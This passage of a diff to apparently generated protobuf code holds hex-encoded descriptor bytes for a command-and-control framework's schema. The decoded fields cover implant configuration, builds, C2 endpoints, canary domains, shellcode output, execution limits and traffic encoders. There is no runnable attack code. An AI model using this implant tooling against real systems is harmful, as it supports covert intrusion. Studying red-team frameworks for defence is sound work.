0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, - 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x18, 0x14, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, - 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, - 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, - 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, - 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, - 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, - 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, - 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, - 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, - 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, - 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, - 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, - 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, - 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, - 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, - 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, - 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, - 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, - 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, - 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, - 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, - 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, - 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, - 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, - 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, - 0x4c, 0x69, 0x62, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x18, 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, - 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, - 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, - 0x2b, 0x0a, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x96, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, - 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x23, 0x0a, 0x0c, - 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x97, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, - 0x64, 0x12, 0x37, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x98, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x29, 0x0a, 0x0f, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x99, 0x01, - 0x20, 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, - 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, - 0x0a, 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, - 0x57, 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, - 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, - 0x74, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, - 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, - 0x12, 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, - 0x01, 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, - 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, - 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, - 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, - 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, - 0x03, 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, - 0x16, 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, - 0x32, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, - 0x52, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, - 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, - 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, - 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x05, 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0xa6, 0x01, - 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2c, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, - 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x2e, 0x0a, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, - 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x22, 0x77, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, - 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, + 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x2d, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, + 0x73, 0x12, 0x24, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, + 0x52, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x22, 0x68, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, - 0xbe, 0x03, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x73, 0x12, 0x4a, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, - 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0b, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x12, 0x3b, 0x0a, - 0x06, 0x73, 0x74, 0x61, 0x67, 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x06, 0x73, 0x74, 0x61, 0x67, 0x65, 0x64, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, - 0x54, 0x0a, 0x10, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x39, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x27, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x52, 0x65, 0x71, 0x12, 0x14, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x22, 0xb2, 0x05, 0x0a, 0x0c, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x10, - 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4d, 0x44, 0x35, - 0x12, 0x12, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x53, 0x48, 0x41, 0x31, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x12, 0x16, 0x0a, 0x06, - 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, - 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, - 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, - 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 